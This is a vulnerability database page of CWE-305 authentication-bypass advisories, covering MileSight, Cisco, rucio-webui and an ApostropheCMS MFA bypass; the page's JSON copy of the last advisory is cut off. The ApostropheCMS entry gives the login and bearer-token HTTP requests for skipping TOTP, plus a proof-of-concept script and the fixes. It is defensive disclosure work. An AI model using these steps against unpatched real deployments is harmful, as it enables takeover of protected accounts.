Common Weakness Enumeration

CWE-305

Allowed

Authentication Bypass by Primary Weakness

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

281 vulnerabilities reference this CWE, most recent first.

GHSA-V38J-RPC7-4G25

Vulnerability from github – Published: 2024-06-02 15:30 – Updated: 2024-06-02 15:30
VLAI
Details

MileSight DeviceHub -

CWE-305 Missing Authentication for Critical Function

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-02T14:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "MileSight DeviceHub - \n\n\n\nCWE-305 Missing Authentication for Critical Function",
  "id": "GHSA-v38j-rpc7-4g25",
  "modified": "2024-06-02T15:30:36Z",
  "published": "2024-06-02T15:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36388"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V3R6-6788-V9XH

Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-15 18:31
VLAI
Details

A vulnerability in the authentication service feature of Cisco AsyncOS Software for Cisco Secure Web Appliance could allow an unauthenticated, remote attacker to bypass authentication policy requirements.

This vulnerability is due to improper validation of user-supplied authentication input in HTTP requests. An attacker could exploit this vulnerability by sending HTTP requests that contain specific authentication requests to an affected device. A successful exploit could allow the attacker to bypass policy enforcement on the device. There is no direct impact to the Cisco Secure Web Appliance. However, as a result of exploiting this vulnerability, an attacker could send HTTP requests that should be restricted through the device.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-20152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-15T17:17:02Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the authentication service feature of Cisco AsyncOS Software for Cisco Secure Web Appliance could allow an unauthenticated, remote attacker to bypass authentication policy requirements.\n\nThis vulnerability is due to improper validation of user-supplied authentication input in HTTP requests. An attacker could exploit this vulnerability by sending HTTP requests that contain specific authentication requests to an affected device. A successful exploit could allow the attacker to bypass policy enforcement on the device. There is no direct impact to the Cisco Secure Web Appliance. However, as a result of exploiting this vulnerability, an attacker could send HTTP requests that should be restricted through the device.",
  "id": "GHSA-v3r6-6788-v9xh",
  "modified": "2026-04-15T18:31:58Z",
  "published": "2026-04-15T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20152"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wsa-auth-bypass-6YZkTQhd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V988-828W-XVF2

Vulnerability from github – Published: 2021-10-22 16:21 – Updated: 2021-10-21 21:36
VLAI
Summary
Authentication Bypass Using an Alternate Path or Channel and Authentication Bypass by Primary Weakness in rucio-webui
Details

Impact

rucio-webui installations of the 1.26 release line potentially leak the contents of cookies to other sessions within a wsgi container. Impact is that Rucio authentication tokens are leaked to other users accessing the webui within a close timeframe, thus allowing users to access the webui with the leaked authentication token. Privileges are therefore also escalated.

Rucio server / daemons are not affected by this issue, it is isolated to the webui.

Patches

This issue is fixed in the 1.26.7 release of the rucio-webui.

Workarounds

Installation of the 1.25.7 webui release. The 1.25 and previous webui release lines are not affected by this issue.

References

https://github.com/rucio/rucio/issues/4928

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.26.0"
            },
            {
              "fixed": "1.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-21T21:36:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n`rucio-webui` installations of the `1.26` release line potentially leak the contents of cookies to other sessions within a wsgi container. Impact is that Rucio authentication tokens are leaked to other users accessing the `webui` within a close timeframe, thus allowing users to access the `webui` with the leaked authentication token. Privileges are therefore also escalated.\n\nRucio server / daemons are not affected by this issue, it is isolated to the webui.\n\n### Patches\nThis issue is fixed in the `1.26.7` release of the `rucio-webui`.\n\n### Workarounds\nInstallation of the `1.25.7` `webui` release. The `1.25` and previous webui release lines are not affected by this issue.\n\n### References\nhttps://github.com/rucio/rucio/issues/4928",
  "id": "GHSA-v988-828w-xvf2",
  "modified": "2021-10-21T21:36:22Z",
  "published": "2021-10-22T16:21:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-v988-828w-xvf2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/issues/4810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/issues/4928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/commit/8f832404ae88d6300e17d7e706b40fe58e0df90c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/releases/tag/1.26.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Authentication Bypass Using an Alternate Path or Channel and Authentication Bypass by Primary Weakness in rucio-webui"
}

GHSA-V9XM-FFX2-7H35

Vulnerability from github – Published: 2026-03-18 19:48 – Updated: 2026-03-19 21:14
VLAI
Summary
ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
Details

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement.

Severity

The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.

Affected Versions

All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement.

Root Cause

In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed):

async function getBearer() {
    const bearer = await self.apos.login.bearerTokens.findOne({
        _id: req.token,
        expires: { $gte: new Date() },
        // requirementsToVerify array should be empty or inexistant
        // for the token to be usable to log in.
        $or: [
            { requirementsToVerify: { $exists: false } },
            { requirementsToVerify: { $ne: [] } }  // BUG
        ]
    });
    return bearer && bearer.userId;
}

The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior.

Token State requirementsToVerify $ne: [] result Should match?
No MFA configured (field absent) N/A ($exists: false matches) Yes
TOTP pending ["AposTotp"] true (BUG!) No
All verified [] false (BUG!) Yes
Field removed ($unset) (field absent) N/A ($exists: false matches) Yes

Attack Scenario

Prerequisites

  • ApostropheCMS instance with @apostrophecms/login-totp enabled
  • Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)
  • Attacker does NOT know the victim's TOTP secret/code

Steps

  1. Authenticate with password only: ``` POST /api/v1/@apostrophecms/login/login Content-Type: application/json

{"username": "admin", "password": "correct_password", "session": false} ```

  1. Receive incomplete token (server correctly requires TOTP): json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}

  2. Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx

  3. Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.

Proof of Concept

See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:

#!/usr/bin/env node
/**
 * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
 *
 * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js
 * has a logic error in the MongoDB query that validates bearer tokens.
 *
 * The comment says:
 *   "requirementsToVerify array should be empty or inexistant
 *    for the token to be usable to log in."
 *
 * But the actual query uses `$ne: []` (NOT equal to empty array),
 * which matches tokens WITH unverified requirements — the exact opposite
 * of the intended behavior.
 *
 * This allows an attacker who knows a user's password (but NOT their
 * TOTP code) to use the "incompleteToken" returned after password
 * verification as a fully authenticated bearer token, bypassing MFA.
 *
 * Affected: ApostropheCMS with @apostrophecms/login-totp (or any
 * custom afterPasswordVerified requirement)
 *
 * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389
 */

const RED = '\x1b[91m';
const GREEN = '\x1b[92m';
const YELLOW = '\x1b[93m';
const CYAN = '\x1b[96m';
const RESET = '\x1b[0m';
const BOLD = '\x1b[1m';

// Simulate MongoDB's $ne operator behavior
function mongoNe(fieldValue, compareValue) {
  // MongoDB $ne: true if field value is NOT equal to compareValue
  // For arrays, MongoDB compares by value
  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {
    if (fieldValue.length !== compareValue.length) return true;
    return fieldValue.some((v, i) => v !== compareValue[i]);
  }
  return fieldValue !== compareValue;
}

// Simulate MongoDB's $exists operator
function mongoExists(doc, field, shouldExist) {
  const exists = field in doc;
  return exists === shouldExist;
}

// Simulate MongoDB's $size operator
function mongoSize(fieldValue, size) {
  if (!Array.isArray(fieldValue)) return false;
  return fieldValue.length === size;
}

// Simulate the VULNERABLE bearer token query (line 386-389)
function vulnerableQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $ne: [] } }     <-- BUG
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoNe(token.requirementsToVerify, [])
    : false;
  return cond1 || cond2;
}

// Simulate the FIXED bearer token query
function fixedQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $size: 0 } }    <-- FIX
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoSize(token.requirementsToVerify, 0)
    : false;
  return cond1 || cond2;
}

function banner() {
  console.log(`${CYAN}${BOLD}
╔══════════════════════════════════════════════════════════════════╗
║  ApostropheCMS MFA/TOTP Bypass PoC                              ║
║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║
║  @apostrophecms/express/index.js:386-389                         ║
╚══════════════════════════════════════════════════════════════════╝${RESET}
`);
}

function test(name, token, expectedVuln, expectedFixed) {
  const vulnResult = vulnerableQuery(token);
  const fixedResult = fixedQuery(token);

  const vulnCorrect = vulnResult === expectedVuln;
  const fixedCorrect = fixedResult === expectedFixed;

  console.log(`${BOLD}${name}${RESET}`);
  console.log(`  Token: ${JSON.stringify(token)}`);
  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);
  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);

  if (vulnResult && !fixedResult) {
    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);
  }
  console.log();
  return vulnResult && !fixedResult;
}

// ——— Main ———
banner();
const bypasses = [];

console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`);

// 1. Normal bearer token (no MFA configured)
// Created by initialLogin when there are no lateRequirements
// Token: { _id: "xxx", userId: "yyy", expires: Date }
// No requirementsToVerify field at all
test(
  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',
  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 2. Incomplete token — password verified, TOTP NOT verified
// Created by initialLogin when lateRequirements exist
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date }
const bypass1 = test(
  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',
  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])
  false  // fixed: rejected (correct)
);
if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset)
// After requirementVerify pulls each requirement from the array
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date }
test(
  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',
  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },
  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])
  true   // fixed: accepted (correct)
);

// 4. Finalized token (requirementsToVerify removed via $unset)
// After finalizeIncompleteLogin calls $unset
// Token: { _id: "xxx", userId: "yyy", expires: Date }
test(
  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',
  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 5. Multiple unverified requirements
const bypass2 = test(
  '[Token 5] Multiple unverified requirements — should be REJECTED',
  { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG!)
  false  // fixed: rejected (correct)
);
if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario
console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`);
console.log(`  ${YELLOW}Prerequisites:${RESET}`);
console.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);
console.log(`    - Attacker knows victim's username and password`);
console.log(`    - Attacker does NOT know victim's TOTP code\n`);

console.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);
console.log(`    POST /api/v1/@apostrophecms/login/login`);
console.log(`    {"username": "admin", "password": "correct_password", "session": false}\n`);

console.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);
console.log(`    Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`);
console.log(`    (TOTP verification still required)\n`);

console.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);
console.log(`    GET /api/v1/@apostrophecms/page`);
console.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`);

console.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);
console.log(`    MongoDB query: {`);
console.log(`      _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`);
console.log(`      expires: { $gte: new Date() },`);
console.log(`      $or: [`);
console.log(`        { requirementsToVerify: { $exists: false } },`);
console.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);
console.log(`      ]`);
console.log(`    }`);
console.log(`    The token has requirementsToVerify: ["AposTotp"]`);
console.log(`    $ne: [] matches because ["AposTotp"] !== []\n`);

console.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);
console.log(`    req.user is set, req.csrfExempt = true`);
console.log(`    Full API access without TOTP verification\n`);

// Summary
console.log(`${BOLD}${'='.repeat(64)}`);
console.log(`Summary`);
console.log(`${'='.repeat(64)}${RESET}`);
console.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`);
console.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);
console.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);
console.log(`  The comment says the array should be "empty or inexistant",`);
console.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\n`);
console.log(`  ${YELLOW}Vulnerable code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);
console.log(`    ]\n`);
console.log(`  ${YELLOW}Fixed code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);
console.log(`    ]\n`);
console.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);
console.log(`  password can skip TOTP verification and gain full authenticated`);
console.log(`  API access by using the incompleteToken as a bearer token.\n`);
console.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);
console.log(`  issue where tokens with ALL requirements verified (empty array,`);
console.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);
console.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);
console.log(`  the field entirely, so the $exists: false path is used instead.`);
console.log();
console.log();

Both bypass vectors (single and multiple unverified requirements) confirmed.

Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin

A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:

await self.bearerTokens.removeOne({
    _id: token.userId  // BUG: should be token._id
});

The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

  1. The incomplete token is never deleted from the database, even after a legitimate MFA-verified login
  2. Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)
  3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

$or: [
    { requirementsToVerify: { $exists: false } },
    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only
]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token._id:

await self.bearerTokens.removeOne({
    _id: token._id  // FIX: use the token's actual ID
});
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.27.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T19:48:51Z",
    "nvd_published_at": "2026-03-18T23:17:29Z",
    "severity": "HIGH"
  },
  "details": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens \u2014 where the password was verified but TOTP/MFA requirements were NOT \u2014 to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim\u0027s password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer \u0026\u0026 bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array \u2014 meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim\u0027s username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim\u0027s TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` \u2014 demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS\u0027s bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements \u2014 the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user\u0027s password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = \u0027\\x1b[91m\u0027;\nconst GREEN = \u0027\\x1b[92m\u0027;\nconst YELLOW = \u0027\\x1b[93m\u0027;\nconst CYAN = \u0027\\x1b[96m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\nconst BOLD = \u0027\\x1b[1m\u0027;\n\n// Simulate MongoDB\u0027s $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) \u0026\u0026 Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) =\u003e v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB\u0027s $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB\u0027s $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     \u003c-- BUG\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    \u003c-- FIX\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  ApostropheCMS MFA/TOTP Bypass PoC                              \u2551\n\u2551  Bearer Token Middleware \u2014 Incorrect MongoDB Query ($ne vs $eq)  \u2551\n\u2551  @apostrophecms/express/index.js:386-389                         \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${vulnCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${fixedCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n\n  if (vulnResult \u0026\u0026 !fixedResult) {\n    console.log(`  ${RED}=\u003e BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n  }\n  console.log();\n  return vulnResult \u0026\u0026 !fixedResult;\n}\n\n// \u2014\u2014\u2014 Main \u2014\u2014\u2014\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n  \u0027[Token 1] Normal bearer token (no MFA) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token1\u0027, userId: \u0027user1\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 2. Incomplete token \u2014 password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n  \u0027[Token 2] Incomplete token (TOTP NOT verified) \u2014 should be REJECTED\u0027,\n  { _id: \u0027token2\u0027, userId: \u0027user2\u0027, requirementsToVerify: [\u0027AposTotp\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED 